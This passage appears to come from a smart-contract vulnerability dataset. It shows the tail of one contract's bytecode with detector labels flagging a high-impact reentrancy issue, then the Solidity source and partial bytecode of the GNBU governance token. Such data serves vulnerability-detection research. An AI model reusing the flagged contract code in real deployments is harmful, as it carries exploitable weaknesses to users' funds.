fffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121dc91906130cf565b816001815181106121f0576121ef612fd7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061225730601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611722565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122bb959493929190613790565b600060405180830381600087803b1580156122d557600080fd5b505af11580156122e9573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b6123178383836123aa565b505050565b60008083118290612363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235a91906129dd565b60405180910390fd5b5060008385612372919061357d565b9050809150509392505050565b600080600061238c612575565b915091506123a38183611f6f90919063ffffffff16565b9250505090565b6000806000806000806123bc876125da565b95509550955095509550955061241a86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266f90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124af85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b990919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124fb81612717565b61250584836127d4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125629190612b93565b60405180910390a3505050505050505050565b60008060006009549050600069021e19e0c9bab240000090506125ad69021e19e0c9bab2400000600954611f6f90919063ffffffff16565b8210156125cd5760095469021e19e0c9bab24000009350935050506125d6565b81819350935050505b9091565b60008060008060008060008060006125f061280e565b61260e576126098a600b60020154600b60030154612825565b612624565b6126238a600b60000154600b60010154612825565b5b925092509250600061263461237f565b905060008060006126478e8787876128bb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e91565b905092915050565b60008082846126c89190612f81565b90508381101561270d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270490613836565b60405180910390fd5b8091505092915050565b600061272161237f565b905060006127388284611ef590919063ffffffff16565b905061278c81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b990919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127e98260095461266f90919063ffffffff16565b60098190555061280481600a546126b990919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128516064612843888a611ef590919063ffffffff16565b611f6f90919063ffffffff16565b9050600061287b606461286d888b611ef590919063ffffffff16565b611f6f90919063ffffffff16565b905060006128a482612896858c61266f90919063ffffffff16565b61266f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128d48589611ef590919063ffffffff16565b905060006128eb8689611ef590919063ffffffff16565b905060006129028789611ef590919063ffffffff16565b9050600061292b8261291d858761266f90919063ffffffff16565b61266f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561297e578082015181840152602081019050612963565b8381111561298d576000848401525b50505050565b6000601f19601f8301169050919050565b60006129af82612944565b6129b9818561294f565b93506129c9818560208601612960565b6129d281612993565b840191505092915050565b600060208201905081810360008301526129f781846129a4565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3e82612a13565b9050919050565b612a4e81612a33565b8114612a5957600080fd5b50565b600081359050612a6b81612a45565b92915050565b6000819050919050565b612a8481612a71565b8114612a8f57600080fd5b50565b600081359050612aa181612a7b565b92915050565b60008060408385031215612abe57612abd612a09565b5b6000612acc85828601612a5c565b9250506020612add85828601612a92565b9150509250929050565b60008115159050919050565b612afc81612ae7565b82525050565b6000602082019050612b176000830184612af3565b92915050565b60008060008060808587031215612b3757612b36612a09565b5b6000612b4587828801612a92565b9450506020612b5687828801612a92565b9350506040612b6787828801612a92565b9250506060612b7887828801612a92565b91505092959194509250565b612b8d81612a71565b82525050565b6000602082019050612ba86000830184612b84565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612beb82612993565b810181811067ffffffffffffffff82111715612c0a57612c09612bb3565b5b80604052505050565b6000612c1d6129ff565b9050612c298282612be2565b919050565b600067ffffffffffffffff821115612c4957612c48612bb3565b5b602082029050602081019050919050565b600080fd5b6000612c72612c6d84612c2e565b612c13565b90508083825260208201905060208402830185811115612c9557612c94612c5a565b5b835b81811015612cbe5780612caa8882612a5c565b845260208401935050602081019050612c97565b5050509392505050565b600082601f830112612cdd57612cdc612bae565b5b8135612ced848260208601612c5f565b91505092915050565b600060208284031215612d0c57612d0b612a09565b5b600082013567ffffffffffffffff811115612d2a57612d29612a0e565b5b612d3684828501612cc8565b91505092915050565b600080600060608486031215612d5857612d57612a09565b5b6000612d6686828701612a5c565b9350506020612d7786828701612a5c565b9250506040612d8886828701612a92565b9150509250925092565b600060208284031215612da857612da7612a09565b5b6000612db684828501612a5c565b91505092915050565b600060ff82169050919050565b612dd581612dbf565b82525050565b6000602082019050612df06000830184612dcc565b92915050565b600060208284031215612e0c57612e0b612a09565b5b6000612e1a84828501612a92565b91505092915050565b612e2c81612ae7565b8114612e3757600080fd5b50565b600081359050612e4981612e23565b92915050565b600060208284031215612e6557612e64612a09565b5b6000612e7384828501612e3a565b91505092915050565b612e8581612a33565b82525050565b6000602082019050612ea06000830184612e7c565b92915050565b60008060408385031215612ebd57612ebc612a09565b5b6000612ecb85828601612a5c565b9250506020612edc85828601612a5c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f1c60208361294f565b9150612f2782612ee6565b602082019050919050565b60006020820190508181036000830152612f4b81612f0f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8c82612a71565b9150612f9783612a71565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fcc57612fcb612f52565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061301182612a71565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361304357613042612f52565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061308460178361294f565b915061308f8261304e565b602082019050919050565b600060208201905081810360008301526130b381613077565b9050919050565b6000815190506130c981612a45565b92915050565b6000602082840312156130e5576130e4612a09565b5b60006130f3848285016130ba565b91505092915050565b60006040820190506131116000830185612e7c565b61311e6020830184612e7c565b9392505050565b6000819050919050565b6000819050919050565b600061315461314f61314a84613125565b61312f565b612a71565b9050919050565b61316481613139565b82525050565b600060c08201905061317f6000830189612e7c565b61318c6020830188612b84565b613199604083018761315b565b6131a6606083018661315b565b6131b36080830185612e7c565b6131c060a0830184612b84565b979650505050505050565b6000815190506131da81612a7b565b92915050565b6000806000606084860312156131f9576131f8612a09565b5b6000613207868287016131cb565b9350506020613218868287016131cb565b9250506040613229868287016131cb565b9150509250925092565b60006040820190506132486000830185612e7c565b6132556020830184612b84565b9392505050565b60008151905061326b81612e23565b92915050565b60006020828403121561328757613286612a09565b5b60006132958482850161325c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132fa60248361294f565b91506133058261329e565b604082019050919050565b60006020820190508181036000830152613329816132ed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061338c60228361294f565b915061339782613330565b604082019050919050565b600060208201905081810360008301526133bb8161337f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061341e60298361294f565b9150613429826133c2565b604082019050919050565b6000602082019050818103600083015261344d81613411565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061348a601a8361294f565b915061349582613454565b602082019050919050565b600060208201905081810360008301526134b98161347d565b9050919050565b60006134cb82612a71565b91506134d683612a71565b9250828210156134e9576134e8612f52565b5b828203905092915050565b60006134ff82612a71565b915061350a83612a71565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561354357613542612f52565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061358882612a71565b915061359383612a71565b9250826135a3576135a261354e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061360a60218361294f565b9150613615826135ae565b604082019050919050565b60006020820190508181036000830152613639816135fd565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061369c602a8361294f565b91506136a782613640565b604082019050919050565b600060208201905081810360008301526136cb8161368f565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61370781612a33565b82525050565b600061371983836136fe565b60208301905092915050565b6000602082019050919050565b600061373d826136d2565b61374781856136dd565b9350613752836136ee565b8060005b8381101561378357815161376a888261370d565b975061377583613725565b925050600181019050613756565b5085935050505092915050565b600060a0820190506137a56000830188612b84565b6137b2602083018761315b565b81810360408301526137c48186613732565b90506137d36060830185612e7c565b6137e06080830184612b84565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613820601b8361294f565b915061382b826137ea565b602082019050919050565b6000602082019050818103600083015261384f81613813565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220916364121f6915167448ac664ac62764379a9f45bb8dc4af2dd85ada802c177b64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,661
0x639ae8f3eed18690bf451229d14953a5a5627b72
/** *Submitted for verification at Etherscan.io on 2021-03-10 */ pragma solidity =0.8.0; // ---------------------------------------------------------------------------- // GNBU token main contract (2021) // // Symbol : GNBU // Name : Nimbus Governance Token // Total supply : 100.000.000 (burnable) // Decimals : 18 // ---------------------------------------------------------------------------- // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address tokenOwner) external view returns (uint balance); function allowance(address tokenOwner, address spender) external view returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed from, address indexed to); constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } modifier onlyOwner { require(msg.sender == owner, "Ownable: Caller is not the owner"); _; } function transferOwnership(address transferOwner) public onlyOwner { require(transferOwner != newOwner); newOwner = transferOwner; } function acceptOwnership() virtual public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract GNBU is Ownable, Pausable { string public constant name = "Nimbus Governance Token"; string public constant symbol = "GNBU"; uint8 public constant decimals = 18; uint96 public totalSupply = 100_000_000e18; // 100 million GNBU mapping (address => mapping (address => uint96)) internal allowances; mapping (address => uint96) private _unfrozenBalances; mapping (address => uint32) private _vestingNonces; mapping (address => mapping (uint32 => uint96)) private _vestingAmounts; mapping (address => mapping (uint32 => uint96)) private _unvestedAmounts; mapping (address => mapping (uint32 => uint)) private _vestingReleaseStartDates; mapping (address => bool) public vesters; uint96 private vestingFirstPeriod = 60 days; uint96 private vestingSecondPeriod = 152 days; address[] public supportUnits; uint public supportUnitsCnt; mapping (address => address) public delegates; struct Checkpoint { uint32 fromBlock; uint96 votes; } mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; mapping (address => uint32) public numCheckpoints; bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); mapping (address => uint) public nonces; event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); event Unvest(address user, uint amount); constructor() { _unfrozenBalances[owner] = uint96(totalSupply); emit Transfer(address(0), owner, totalSupply); } function freeCirculation() external view returns (uint) { uint96 systemAmount = _unfrozenBalances[owner]; for (uint i; i < supportUnits.length; i++) { systemAmount = add96(systemAmount, _unfrozenBalances[supportUnits[i]], "GNBU::freeCirculation: adding overflow"); } return sub96(totalSupply, systemAmount, "GNBU::freeCirculation: amount exceed totalSupply"); } function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } function approve(address spender, uint rawAmount) external whenNotPaused returns (bool) { uint96 amount; if (rawAmount == uint(2 ** 256 - 1)) { amount = uint96(2 ** 96 - 1); } else { amount = safe96(rawAmount, "GNBU::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external whenNotPaused { uint96 amount; if (rawAmount == uint(2 ** 256 - 1)) { amount = uint96(2 ** 96 - 1); } else { amount = safe96(rawAmount, "GNBU::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GNBU::permit: invalid signature"); require(signatory == owner, "GNBU::permit: unauthorized"); require(block.timestamp <= deadline, "GNBU::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function balanceOf(address account) public view returns (uint) { uint96 amount = _unfrozenBalances[account]; if (_vestingNonces[account] == 0) return amount; for (uint32 i = 1; i <= _vestingNonces[account]; i++) { uint96 unvested = sub96(_vestingAmounts[account][i], _unvestedAmounts[account][i], "GNBU::balanceOf: unvested exceed vested amount"); amount = add96(amount, unvested, "GNBU::balanceOf: overflow"); } return amount; } function availableForUnvesting(address user) external view returns (uint unvestAmount) { if (_vestingNonces[user] == 0) return 0; for (uint32 i = 1; i <= _vestingNonces[user]; i++) { if (_vestingAmounts[user][i] == _unvestedAmounts[user][i]) continue; if (_vestingReleaseStartDates[user][i] > block.timestamp) break; uint toUnvest = mul96((block.timestamp - _vestingReleaseStartDates[user][i]), (_vestingAmounts[user][i])) / vestingSecondPeriod; if (toUnvest > _vestingAmounts[user][i]) { toUnvest = _vestingAmounts[user][i]; } toUnvest -= _unvestedAmounts[user][i]; unvestAmount += toUnvest; } } function availableForTransfer(address account) external view returns (uint) { return _unfrozenBalances[account]; } function vestingInfo(address user, uint32 nonce) external view returns (uint vestingAmount, uint unvestedAmount, uint vestingReleaseStartDate) { vestingAmount = _vestingAmounts[user][nonce]; unvestedAmount = _unvestedAmounts[user][nonce]; vestingReleaseStartDate = _vestingReleaseStartDates[user][nonce]; } function vestingNonces(address user) external view returns (uint lastNonce) { return _vestingNonces[user]; } function transfer(address dst, uint rawAmount) external whenNotPaused returns (bool) { uint96 amount = safe96(rawAmount, "GNBU::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } function transferFrom(address src, address dst, uint rawAmount) external whenNotPaused returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "GNBU::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(2 ** 96 - 1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "GNBU::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function delegate(address delegatee) public whenNotPaused { return _delegate(msg.sender, delegatee); } function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public whenNotPaused { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GNBU::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "GNBU::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "GNBU::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function unvest() external whenNotPaused returns (uint96 unvested) { require (_vestingNonces[msg.sender] > 0, "GNBU::unvest:No vested amount"); for (uint32 i = 1; i <= _vestingNonces[msg.sender]; i++) { if (_vestingAmounts[msg.sender][i] == _unvestedAmounts[msg.sender][i]) continue; if (_vestingReleaseStartDates[msg.sender][i] > block.timestamp) break; uint96 toUnvest = mul96((block.timestamp - _vestingReleaseStartDates[msg.sender][i]), _vestingAmounts[msg.sender][i]) / vestingSecondPeriod; if (toUnvest > _vestingAmounts[msg.sender][i]) { toUnvest = _vestingAmounts[msg.sender][i]; } uint96 totalUnvestedForNonce = toUnvest; toUnvest = sub96(toUnvest, _unvestedAmounts[msg.sender][i], "GNBU::unvest: already unvested amount exceeds toUnvest"); unvested = add96(unvested, toUnvest, "GNBU::unvest: adding overflow"); _unvestedAmounts[msg.sender][i] = totalUnvestedForNonce; } _unfrozenBalances[msg.sender] = add96(_unfrozenBalances[msg.sender], unvested, "GNBU::unvest: adding overflow"); emit Unvest(msg.sender, unvested); } function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "GNBU::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = _unfrozenBalances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "GNBU::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "GNBU::_transferTokens: cannot transfer to the zero address"); _unfrozenBalances[src] = sub96(_unfrozenBalances[src], amount, "GNBU::_transferTokens: transfer amount exceeds balance"); _unfrozenBalances[dst] = add96(_unfrozenBalances[dst], amount, "GNBU::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "GNBU::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "GNBU::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "GNBU::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function _vest(address user, uint96 amount) private { uint32 nonce = ++_vestingNonces[user]; _vestingAmounts[user][nonce] = amount; _vestingReleaseStartDates[user][nonce] = block.timestamp + vestingFirstPeriod; _unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], amount, "GNBU::_vest: exceeds owner balance"); emit Transfer(owner, user, amount); } function burnTokens(uint rawAmount) public onlyOwner returns (bool success) { uint96 amount = safe96(rawAmount, "GNBU::burnTokens: amount exceeds 96 bits"); require(amount <= _unfrozenBalances[owner]); _unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], amount, "GNBU::burnTokens: transfer amount exceeds balance"); totalSupply = sub96(totalSupply, amount, "GNBU::burnTokens: transfer amount exceeds total supply"); emit Transfer(owner, address(0), amount); return true; } function vest(address user, uint rawAmount) external { require (vesters[msg.sender], "GNBU::vest: not vester"); uint96 amount = safe96(rawAmount, "GNBU::vest: amount exceeds 96 bits"); _vest(user, amount); } function multisend(address[] memory to, uint[] memory values) public onlyOwner returns (uint) { require(to.length == values.length); require(to.length < 100); uint sum; for (uint j; j < values.length; j++) { sum += values[j]; } uint96 _sum = safe96(sum, "GNBU::transfer: amount exceeds 96 bits"); _unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], _sum, "GNBU::_transferTokens: transfer amount exceeds balance"); for (uint i; i < to.length; i++) { _unfrozenBalances[to[i]] = add96(_unfrozenBalances[to[i]], uint96(values[i]), "GNBU::_transferTokens: transfer amount exceeds balance"); emit Transfer(owner, to[i], values[i]); } return(to.length); } function multivest(address[] memory to, uint[] memory values) external onlyOwner returns (uint) { require(to.length == values.length); require(to.length < 100); uint sum; for (uint j; j < values.length; j++) { sum += values[j]; } uint96 _sum = safe96(sum, "GNBU::multivest: amount exceeds 96 bits"); _unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], _sum, "GNBU::multivest: transfer amount exceeds balance"); for (uint i; i < to.length; i++) { uint32 nonce = ++_vestingNonces[to[i]]; _vestingAmounts[to[i]][nonce] = uint96(values[i]); _vestingReleaseStartDates[to[i]][nonce] = block.timestamp + vestingFirstPeriod; emit Transfer(owner, to[i], values[i]); } return(to.length); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return IERC20(tokenAddress).transfer(owner, tokens); } function updateVesters(address vester, bool isActive) external onlyOwner { vesters[vester] = isActive; } function acceptOwnership() public override { require(msg.sender == newOwner); uint96 amount = _unfrozenBalances[owner]; _transferTokens(owner, newOwner, amount); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } function updateSupportUnitAdd(address newSupportUnit) external onlyOwner { for (uint i; i < supportUnits.length; i++) { require (supportUnits[i] != newSupportUnit, "GNBU::updateSupportUnitAdd: support unit exists"); } supportUnits.push(newSupportUnit); supportUnitsCnt++; } function updateSupportUnitRemove(uint supportUnitIndex) external onlyOwner { supportUnits[supportUnitIndex] = supportUnits[supportUnits.length - 1]; supportUnits.pop(); supportUnitsCnt--; } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal view returns (uint) { return block.chainid; } function mul96(uint96 a, uint96 b) internal pure returns (uint96) { if (a == 0) { return 0; } uint96 c = a * b; require(c / a == b, "GNBU:mul96: multiplication overflow"); return c; } function mul96(uint256 a, uint96 b) internal pure returns (uint96) { uint96 _a = safe96(a, "GNBU:mul96: amount exceeds uint96"); if (_a == 0) { return 0; } uint96 c = _a * b; require(c / _a == b, "GNBU:mul96: multiplication overflow"); return c; } }
0x608060405234801561001057600080fd5b50600436106102ff5760003560e01c80638456cb591161019c578063c3cda520116100ee578063dc39d06d11610097578063f1127ed811610071578063f1127ed8146105e7578063f1b5c88e14610608578063f2fde38b1461061b576102ff565b8063dc39d06d146105b9578063dd62ed3e146105cc578063e7a324dc146105df576102ff565b8063d505accf116100c8578063d505accf14610571578063d84a139d14610584578063dc25ca51146105a6576102ff565b8063c3cda52014610543578063c3ef298714610556578063d4ee1d9014610569576102ff565b8063a9059cbb11610150578063b24d53101161012a578063b24d53101461050a578063b4b5ea571461051d578063bdfb5b9014610530576102ff565b8063a9059cbb146104dc578063aad41a41146104ef578063aff00e7514610502576102ff565b806395d89b411161018157806395d89b41146104b9578063985d5449146104c1578063a6237aa2146104c9576102ff565b80638456cb59146104a95780638da5cb5b146104b1576102ff565b80633f4ba83a116102555780636fcfff4511610209578063782d6fe1116101e3578063782d6fe11461047b57806379ba50971461048e5780637ecebe0014610496576102ff565b80636fcfff451461043557806370a082311461045557806371ad963414610468576102ff565b80635c19a95c1161023a5780635c19a95c146104075780635c975abb1461041a5780636d1b229d14610422576102ff565b80633f4ba83a146103df578063587cde1e146103e7576102ff565b806320606b70116102b75780632797c6c8116102915780632797c6c8146103ad57806330adf81f146103c2578063313ce567146103ca576102ff565b806320606b701461037f57806323b872dd1461038757806324d6239e1461039a576102ff565b80631501ea1c116102e85780631501ea1c1461034257806318160ddd146103555780631dcd5c5d1461036a576102ff565b806306fdde0314610304578063095ea7b314610322575b600080fd5b61030c61062e565b60405161031991906147c9565b60405180910390f35b61033561033036600461449e565b610667565b60405161031991906146f4565b610335610350366004614378565b6107a2565b61035d6107b7565b6040516103199190614cc3565b6103726107cb565b60405161031991906146ff565b6103726107d1565b6103356103953660046143c4565b6107f5565b6103726103a8366004614378565b6109c0565b6103c06103bb36600461449e565b6109fa565b005b610372610a81565b6103d2610aa5565b6040516103199190614cb5565b6103c0610aaa565b6103fa6103f5366004614378565b610b75565b6040516103199190614679565b6103c0610415366004614378565b610b9d565b610335610bd2565b61033561043036600461462b565b610bf3565b610448610443366004614378565b610e33565b6040516103199190614c80565b610372610463366004614378565b610e4b565b610372610476366004614378565b610fd5565b61035d61048936600461449e565b611003565b6103c06112c4565b6103726104a4366004614378565b6113ca565b6103c06113dc565b6103fa6114bf565b61030c6114db565b61035d611514565b6103c06104d7366004614468565b611921565b6103356104ea36600461449e565b6119c8565b6103726104fd366004614551565b611a2e565b610372611ec3565b6103c061051836600461462b565b612003565b61035d61052b366004614378565b6121ec565b6103fa61053e36600461462b565b61228a565b6103c06105513660046144c7565b6122c1565b610372610564366004614551565b612591565b6103fa612ad7565b6103c061057f3660046143ff565b612af3565b61059761059236600461451e565b612f7e565b60405161031993929190614c6a565b6103c06105b4366004614378565b612ff9565b6103356105c736600461449e565b613192565b6103726105da366004614392565b613290565b6103726132d6565b6105fa6105f536600461451e565b6132fa565b604051610319929190614c91565b610372610616366004614378565b613335565b6103c0610629366004614378565b61361e565b6040518060400160405280601781526020017f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000081525081565b60015460009074010000000000000000000000000000000000000000900460ff161561069257600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156106cf57506bffffffffffffffffffffffff6106f4565b6106f1836040518060600160405280602581526020016151ce602591396136de565b90505b33600081815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff891680855292529182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061078e908590614cc3565b60405180910390a360019150505b92915050565b60096020526000908152604090205460ff1681565b6002546bffffffffffffffffffffffff1681565b600c5481565b7f8cad95687ba82c2ce50e74f7b